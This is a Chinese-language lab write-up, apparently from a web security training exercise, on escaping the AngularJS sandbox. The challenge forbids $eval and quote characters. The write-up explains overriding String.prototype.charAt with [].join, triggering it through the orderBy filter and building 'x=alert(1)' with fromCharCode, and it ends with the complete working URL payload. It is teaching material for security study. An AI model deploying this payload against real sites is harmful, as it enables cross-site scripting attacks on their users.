# Cross-site scripting Lab25
本題是 AngularJS sandbox escape,而且更進階的是:
- 不能用 $eval
- 不能用 任何字串(引號全被濾掉)
- 但你還是要想辦法呼叫 alert(1)。
一樣先進入網站。

既然啥都不能用,所以來寫一個全繞過的 URL:
1. `toString().constructor`
這是 JS 世界的秘密通道,等同於 String。
因為不能寫 `String`,所以就用 `1..toString().constructor` 來繞過。
2. `.prototype.charAt = [].join`
把 `String.prototype.charAt` 改掉,用來破壞 Angular 的 `sandbox`。
AngularJS 為了安全,會檢查用到的 charAt,但我們把它換掉(強行破壞限制)
3. `[1] | orderBy:...`
AngularJS 的 orderBy filter 會嘗試使用字串排序。
這會觸發 `charAt()`,剛好我們已經把它換掉,這就是攻擊的關鍵。
4. `fromCharCode(...)`
這裡我們生成:x=alert(1)
*因為你不能直接用 `x=alert(1)`,所以只能用 fromCharCode 組出來。
```js
String.fromCharCode(
120, // x
61, // =
97, // a
108, // l
101, // e
114, // r
116, // t
40, // (
49, // 1
41 // )
)
```
全部合在一起就是:
```url
?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
```
當這整段表達式被 AngularJS 處理的時候,它會先被 `sandbox` 審核,但換掉 charAt 來繞過檢查,用 orderBy filter 來觸發 `eval-like` 的處理,用 fromCharCode 組出程式碼,成功實現無引號、無 `eval` 的 RCE。


---